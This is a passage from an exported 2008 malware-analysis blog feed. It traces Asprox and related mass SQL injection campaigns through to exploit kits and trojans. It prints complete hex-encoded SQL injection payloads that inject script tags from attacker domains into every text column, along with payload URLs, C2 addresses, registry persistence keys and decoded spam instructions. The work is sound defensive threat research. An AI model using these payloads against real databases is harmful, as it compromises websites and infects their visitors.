80.&lt;br /&gt;&lt;br /&gt;* Connects to \"ns.uk2.net\" on port 53 (IP)&lt;br /&gt;* Connects to \"www.yahoo.com\" on port 80 (IP)&lt;br /&gt;* Connects to \"www.web.de\" on port 80 (IP)&lt;br /&gt;&lt;br /&gt;The Asprox malware generated phishing emails related to "NatWest OnLine Banking"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-1352890078977434292?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1352890078977434292'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1352890078977434292'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/05/asprox-trojan-and-banner82com.html' title='Asprox Trojan and banner82.com'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-1515310852293462444</id><published>2008-05-15T15:16:00.010-04:00</published><updated>2008-05-15T16:00:47.229-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Asprox'/><category scheme='http://www.blogger.com/atom/ns#' term='direct84.com'/><title type='text'>Asprox Trojan and direct84.com</title><content type='html'>On 13 May 2008 SecureWorks posted an &lt;a href="http://www.secureworks.com/research/threats/danmecasprox/"&gt;article &lt;/a&gt;on a SQL-injection attack tool that was being distributed within the Asprox botnet. The tool defaults to injecting a script reference to direct84[dot]com/7.js.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;SQL-injection tool:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Filename: msscntr32.exe&lt;br /&gt;MD5: b33be04bff3a9953a46c26dbc853af5c&lt;br /&gt;Size: 17.5 KB (17,920 bytes)&lt;br /&gt;&lt;br /&gt;The initial HTTP requests used by the msscntr32.exe attack tool will appear similar to the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630 0680061007200280032003500350029002C00400043002000760061007200630068006 10072002800320035003500290020004400450043004C00410052004500200www.example.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:0;"&gt;The CAST hex decodes to: &lt;/span&gt;&lt;span style="font-size:0;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DECLARE @T varchar(255),@C varchar(255) DECLARE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The full functionality of the tool is unknown at this time but binary string analysis reveals some potential capabilities. The following relevant strings were observed.&lt;br /&gt;&lt;br /&gt;A SQL statement that includes the default injected direct84[dot]com/7.js script.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;63006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E00640069007200650063007400380034002E0063006F006D002F0037002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 4002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E0076006500720074002800760061007200&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The CAST hex decodes to:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;char,['+@C+']))+'' &lt;strong&gt;script src=http ://www[dot].direct84[dot]com/7.js script&lt;/strong&gt;''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor??????????ì????? FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(var&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The binary strings include a Google search that looks for “inurl%:asp inurl%:%s” with 100 results per page and the language setting set to English.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00005178 00405178 0 www.google.com&lt;br /&gt;000051B0 004051B0 0 /search?hl=en&amp;amp;as_epq=&amp;amp;as_oq=&amp;amp;as_eq=&amp;amp;num=100&amp;amp;lr=lang_en&amp;amp;as_filetype=&amp;amp;ft=i&amp;amp;as_sitesearch=&amp;amp;as_qdr=all&amp;amp;as_rights=&amp;amp;as_occt=any&amp;amp;cr=countryUS&amp;amp;as_nlo=&amp;amp;as_nhi=&amp;amp;safe=images&amp;amp;as_q=inurl%%3Aasp+inurl%%3A%s&amp;amp;start=%d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The binary strings include a reference to direct84[dot]com/7.js as well as www[dot]answers.com and youtube.com. It is unknown if these domains are used to test connectivity or for decoy traffic.&lt;br /&gt;&lt;br /&gt;00005484 00405484 0 direct84[dot]com/7.js&lt;br /&gt;000054C0 004054C0 0 http://&lt;br /&gt;000054DC 004054DC 0 .asp?&lt;br /&gt;000054F4 004054F4 0 .google.&lt;br /&gt;00005518 00405518 0 www[dot]answers[dot]com&lt;br /&gt;00005554 00405554 0 youtube[dot]com&lt;br /&gt;00005580 00405580 0 cache:&lt;br /&gt;&lt;br /&gt;The following user-agent is used by the tool during SQL injection attacks&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00005598 00405598 0 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.25&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Several IPs and a reference to s32.txt were visible.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00005A9C 00405A9C 0 s32.txt&lt;br /&gt;00005AC0 00405AC0 0 66.199.241.98&lt;br /&gt;00005ACE 00405ACE 0 82.103.140.75&lt;br /&gt;00005ADC 00405ADC 0 72.21.63.114&lt;br /&gt;00005AE9 00405AE9 0 66.232.102.169&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00005AF8 00405AF8 0 66.96.196.53&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;direct84.com analysis:&lt;/strong&gt;&lt;br /&gt;The direct84.com domain currently fast-fluxes to several different IPs in the US, Israel and Poland. A short interval included the following round-robin addresses (146.6.143.67, 172.163.165.232, 212.160.151.233, 66.1.4.187, 68.45.135.137, 69.73.111.7, 71.201.175.192, 74.248.14.151, 84.109.131.90, 89.77.235.81)&lt;br /&gt;&lt;br /&gt;The direct84.com 7.js script returned an iframe redirect to http: //67[dot]228[dot]13[dot]98/cgi-bin/index.cgi?user1. (This and following redirect paths continually change).&lt;br /&gt;&lt;br /&gt;The 67[dot]228[dot]13[dot]98 cgi request returns an iframe redirect to http: //216[dot]32[dot]85[dot]234/index.php&lt;br /&gt;&lt;br /&gt;The index.php returned 3 exploits:&lt;br /&gt;Microsoft DirectX Media 6.0 Live Picture Corporation DirectTransform FlashPix ActiveX control buffer overflow (CVE-2007-4336)&lt;br /&gt;Apple QuickTime RTSP Content-Type header stack buffer overflow (CVE-2007-6166)&lt;br /&gt;MDAC RDS.Dataspace ActiveX control vulnerability (CVE-2006-0003)&lt;br /&gt;&lt;br /&gt;The payload is http: //216[dot]32[dot]85[dot]234/load.php?MSIE downloaded as ldr.exe.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;malware analysis:&lt;/strong&gt;&lt;br /&gt;The malware ldr.exe is detected as Trojan.Asprox (&lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2007-060812-4603-99&amp;amp;tabid=2"&gt;Symantec&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Filename: ldr.exe&lt;br /&gt;MD5: f27dc661f7b51dd76adfb2d371b888e8&lt;br /&gt;Size: 48640&lt;br /&gt;&lt;br /&gt;The following files are created:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\db32.txt.&lt;br /&gt;C:\WINDOWS\system32\aspimgr.exe.&lt;br /&gt;C:\WINDOWS\ws386.ini.&lt;br /&gt;C:\WINDOWS\s32.txt.&lt;br /&gt;&lt;br /&gt;The following file is deleted:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\db32.txt&lt;br /&gt;&lt;br /&gt;The following registry keys are created to install aspimgr.exe as a service.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "DisplayName"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Microsoft ASPI Manager&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "ErrorControl"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "ImagePath"&lt;br /&gt;Type: REG_EXPAND_SZ&lt;br /&gt;Data: C:\WINDOWS\System32\aspimgr.exe&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "ObjectName"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: LocalSystem&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "Start"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 02, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr "Type"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 10, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Enum "0"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Root\LEGACY_ASPIMGR\0000&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Enum "Count"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Enum "NextInstance"&lt;br /&gt;Type: REG_DWORD&lt;br /&gt;Data: 01, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspimgr\Security "Security"&lt;br /&gt;Type: REG_BINARY&lt;br /&gt;Data: 01, 00, 14, 80, 90, 00, 00, 00, 9C, 00, 00, 00, 14, 00, 00, 00, 30, 00, 00, 00, 02, 00, 1C, 00, 01, 00, 00, 00, 02, 80, 14, 00, FF, 01, 0F, 00, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 02, 00, 60, 00, 04, 00, 00, 00, 00, 00, 14, 00, FD, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 00, 00, 18, 00, FF, 01, 0F, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 20, 02, 00, 00, 00, 00, 14, 00, 8D, 01, 02, 00, 01, 01, 00, 00, 00, 00, 00, 05, 0B, 00, 00, 00, 00, 00, 18, 00, FD, 01, 02, 00, 01, 02, 00, 00, 00, 00, 00, 05, 20, 00, 00, 00, 23, 02, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00, 01, 01, 00, 00, 00, 00, 00, 05, 12, 00, 00, 00&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Sft "(Default)"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: {4C7783CA-076B-4313-BBF1-21FB818E7701}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The malware aspimgr.exe makes the following connections and sets up an HTTP server on port 80.&lt;br /&gt;&lt;br /&gt;* Connects to \"ns.uk2.net\" on port 53 (IP).&lt;br /&gt;* Connects to \"www.yahoo.com\" on port 80 (IP).&lt;br /&gt;* Connects to \"www.web.de\" on port 80 (IP).&lt;br /&gt;* Connects to \"FAKE\" on port 4660 (IP).&lt;br /&gt;&lt;br /&gt;The malware aspimgr.exe initiates a POST connection to http: //66[dot]232[dot]102[dot]169/forum.php. The connection passes system and trojan characteristics and a binary file common.bin is returned which contains trojan spamming instructions to include IP addresses, email addresses, SMTP commands, and spam email content. Common.bin can be decoded by XORing each byte with 27 (hex 0x1B) as previously referenced at &lt;a href="http://isc.sans.org/diary.html?storyid=2919"&gt;SANS&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A sample decoded common.bin file:&lt;br /&gt;&lt;br /&gt;98.200.11.115567.161.226.835129.59.138.199568.45.135.137584.109.131.90568.249.106.122524.126.130.229598.208.97.48&lt;/5_a&gt;5&lt;5_n&gt;70.231.150.1615209.74.208.75589.78.235.81584.10.100.196575.137.93.12586.16.211.245566.233.229.99574.60.224.36&lt;/5_n&gt;5&lt;5_m&gt;74.50.120.150&lt;/5_m&gt;5&lt;hls&gt;5/customerup5ate5/confirm.aspx5/in5ex.php5/55/5etails.aspx5/94.js5/servlet5/profile5/ecar5s5/7.js5/olb5/custform5&lt;/hls&gt;5&lt;selfip&gt;24.74.176.237&lt;/selfip&gt;5&lt;ml&gt;5akronchablis@gar5ener.com55akroncha5@earthlink.net55akroncha5@technologist.com55akroncha55@unite5layer.com55akroncha5wick@royalgar5ensupplies.com55akronchaff@rrfabrications.com55akronchagrin@hair5resser.net55akronchain@clerk.com55akronchain@5iplomats.&lt;/span&gt;&lt;br /&gt;&lt;em&gt;&lt;span style="font-family:courier new;"&gt;[truncated]&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Message-ID: &lt;%%MSGID%%&gt;55From: %%FROM%%55To: &lt;%%RCPT%%&gt;55Subject: %%SUBJ%%55Date: %%DATE%%55MIME-Version: 1.055Content-Type: multipart/alternative;555boun5ary="%%BND:1%%"55X-Priority: 355X-MSMail-Priority: Normal55X-Mailer: Microsoft Outlook Express 6.00.2900.218055X-MimeOLE: Pro5uce5 By Microsoft MimeOLE V6.00.2900.21805555This is a multi-part message in MIME format.5555--%%BND:1%%55Content-Type: text/plain;555charset="iso-8859-1"55Content-Transfer-Enco5ing: quote5-printable5555 Get popular cheap Soft right now!5 Absolutely all OF OUR OEMS ARE AVAILABLE ON EVERY EUROPEAN LANGUAGES -5 English, French, Italian, Spanish, German an5 any others..55 Win5ows Vista Ultimate - $71.065 Win5ows XP Pro With SP2 - $57.555 Office Enterprise 2007 - $72.015 &lt;/span&gt;&lt;br /&gt;&lt;em&gt;&lt;span style="font-family:courier new;"&gt;[truncated]&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;helo5555&lt;11300000resolve55&lt;11301010ptr55&lt;11300010reverse55&lt;11301010fqdn55&lt;113000115nserror55&lt;113000115nsinvali555&lt;113000115nsfail55&lt;113000115nslookup55&lt;/span&gt;&lt;br /&gt;&lt;em&gt;&lt;span style="font-family:courier new;"&gt;[truncated]&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Spamming must pay well...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-1515310852293462444?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1515310852293462444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/1515310852293462444'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/05/asprox-trojan-and-direct84com.html' title='Asprox Trojan and direct84.com'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-6984425591426812739</id><published>2008-05-15T13:18:00.012-04:00</published><updated>2008-05-15T16:01:43.649-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Infostealer.Onlinegame'/><category scheme='http://www.blogger.com/atom/ns#' term='nihaorr1.com'/><title type='text'>nihaorr1.com SQL Injection</title><content type='html'>nihaorr1.com has been used in SQL injection attacks since at least April 2008. The domain was also the source of the automated Chinese CLI/SQL injection tool posted at &lt;a href="http://isc.sans.org/diary.html?storyid=4294"&gt;SANS&lt;/a&gt;.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;SQL injection attack:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Injected SQL Statement:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The CAST hex decodes to:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+'' script src=http&lt;strong&gt;: //www[dot]nihaorr1[dot]com/1.js&lt;/strong&gt; script ''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;nihaorr1.com site code:&lt;/strong&gt;&lt;br /&gt;The injected script www[dot]nihaorr1[dot]com/1.js returns an iframe redirect to 1.htm&lt;br /&gt;&lt;br /&gt;1.htm returns 4 IFRAMEs to exploit code (Yahoo.php, Ms07004.htm, Ajax.htm, Ms06014.htm). The code attempts to exploit MS06-014 (MDAC) and MS07-004 (VML) vulnerabilities. The payload for all of the exploits is http: //61[dot]188[dot]39[dot]214/1.exe, which is detected as a Infostealer.Onlinegame (Symantec) variant.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;malware analysis:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Filename: 1.exe&lt;br /&gt;MD5: 611D5549A73E1212D2F09F91A5004654&lt;br /&gt;Size: 69632 bytes&lt;br /&gt;&lt;br /&gt;1.exe creates:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32\sonp32drv.dll&lt;br /&gt;&lt;br /&gt;Filename: sonp32drv.dll&lt;br /&gt;MD5: 7C73E2EB43D1C5A98A9DD3623188B2CE&lt;br /&gt;Size: 45056 bytes&lt;br /&gt;&lt;br /&gt;The following registry keys are created:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CLASSES_ROOT\CLSID\{E60A0B68-AF3A-C1D2-CD09-5A81A131D2B1}\InProcServer32 "(Default)"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: C:\WINDOWS\System32\sonp32drv.dll&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{E60A0B68-AF3A-C1D2-CD09-5A81A131D2B1}\InProcServer32 "ThreadingModel"&lt;br /&gt;Type: REG_SZ&lt;br /&gt;Data: Apartment&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks "{E60A0B68-AF3A-C1D2-CD09-5A81A131D2B1}"&lt;br /&gt;Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware deletes c:\WINDOWS\system32\drivers\etc\hosts&lt;br /&gt;&lt;br /&gt;The malware sends exfiltrated data to 61.188.39.214 (China) TCP port 2034.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-6984425591426812739?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6984425591426812739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/6984425591426812739'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/05/nihaorr1com-sql-injection.html' title='nihaorr1.com SQL Injection'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-5535520816238646105</id><published>2008-05-12T11:40:00.007-04:00</published><updated>2008-05-15T16:02:26.136-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL injection'/><category scheme='http://www.blogger.com/atom/ns#' term='PSW.OnlineGames'/><category scheme='http://www.blogger.com/atom/ns#' term='winzipices.cn'/><title type='text'>winzipices.cn SQL injection</title><content type='html'>Mass SQL injection attacks continue....&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;SQL Injection:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Injected SQL statement:&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F00770069006E007A006900700069006300650073002E0063006E002F0033002E006A00730022003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The CAST hex decodes to:&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''script src="&lt;strong&gt;http: //winzipices[dot]cn/3.js&lt;/strong&gt;" script''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The SQL injection appears to come from the automated CLI/SQL injection tool referenced at &lt;a href="http://isc.sans.org/diary.html?storyid=4294"&gt;SANS&lt;/a&gt;. The user-agent utlilized during injection was: Mozilla/3.0+(compatible;+Indy+Library)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;winzipices.cn site code:&lt;/strong&gt;&lt;br /&gt;injected script: http: //winzipices[dot]cn/3.js&lt;br /&gt;&lt;br /&gt;3.js returns iframe for http: //winzipices[dot]cn/3.asp&lt;br /&gt;&lt;br /&gt;3.asp returns iframes for pp.htm and s.asp and a tracking script for http: //s126[dot]cnzz[dot]com/stat.php?id=888134&amp;amp;web_id=888134&amp;amp;show=pic1&lt;br /&gt;&lt;br /&gt;pp.htm returns script reference for pp.js&lt;br /&gt;&lt;br /&gt;pp.js does a browser check. IE6 goes to 6.gif, IE7 goes to 7.gif&lt;br /&gt;&lt;br /&gt;6.gif returns a script reference for vv.js and iframes for le.gif, old.gif and xin.gif&lt;br /&gt;&lt;br /&gt;7.gif returns iframes for old.gif and xin.gif&lt;br /&gt;&lt;br /&gt;le.gif and vv.js return MDAC (MS06-014) exploit&lt;br /&gt;old.gif returns RealPlayer exploit (CVE-2007-5601)&lt;br /&gt;xin.gif returns RealPlayer exploit (CVE-2008-1309)&lt;br /&gt;&lt;br /&gt;Payload for all is: http: //61[dot]188[dot]38[dot]158/images/test.exe&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;malware analysis:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Filename: test.exe&lt;br /&gt;MD5: afdb42512a91ae960d07397226f24494&lt;br /&gt;Size: 27.5 KB (28,237 bytes)&lt;br /&gt;&lt;br /&gt;The file test.exe copies itself as c:\WINDOWS\Tasks\0x01xx8p.exe and hooks itself into spoolsv.exe&lt;br /&gt;&lt;br /&gt;receives instructions from http: //766598[dot]com/config.txt (222.187.105.196).&lt;br /&gt;&lt;br /&gt;GET /config.txt HTTP/1.1&lt;br /&gt;User-Agent: Downing&lt;br /&gt;Host: 766598.com&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;br /&gt;config.txt returns commands for several connections:&lt;br /&gt;http: //61[dot]188[dot]38[dot]158/images/test.exe&lt;br /&gt;http: //winzipices[dot]cn/1.exe&lt;br /&gt;http: //766598[dot]com/tongji/post.asp&lt;br /&gt;&lt;br /&gt;new test.exe:&lt;br /&gt;Filename: test.exe&lt;br /&gt;MD5: 8ca53bf2b7d8107d106da2da0f8ca700&lt;br /&gt;Size: 27.5 KB (28,237 bytes)&lt;br /&gt;&lt;br /&gt;Filename: 1.exe (PSW.OnlineGames trojan)&lt;br /&gt;MD5: 5c9322a95aaafbfabfaf225277867f5b&lt;br /&gt;Size: 37.5 KB (38,400 bytes)&lt;br /&gt;&lt;br /&gt;1.exe creates 3 tmp files: datx.tmp (x = number) with hooks into winlogin.exe&lt;br /&gt;&lt;br /&gt;Filename: dat6.tmp&lt;br /&gt;MD5: 96ee4d2d791d123c87692a5e838ed549&lt;br /&gt;Size: 12.0 KB (12,288 bytes)&lt;br /&gt;&lt;br /&gt;Filename: dat7.tmp&lt;br /&gt;MD5: 9473d4397a0793c709a4ec365fb3f0d3&lt;br /&gt;Size: 21.5 KB (22,016 bytes)&lt;br /&gt;&lt;br /&gt;Filename: dat8.tmp&lt;br /&gt;MD5: 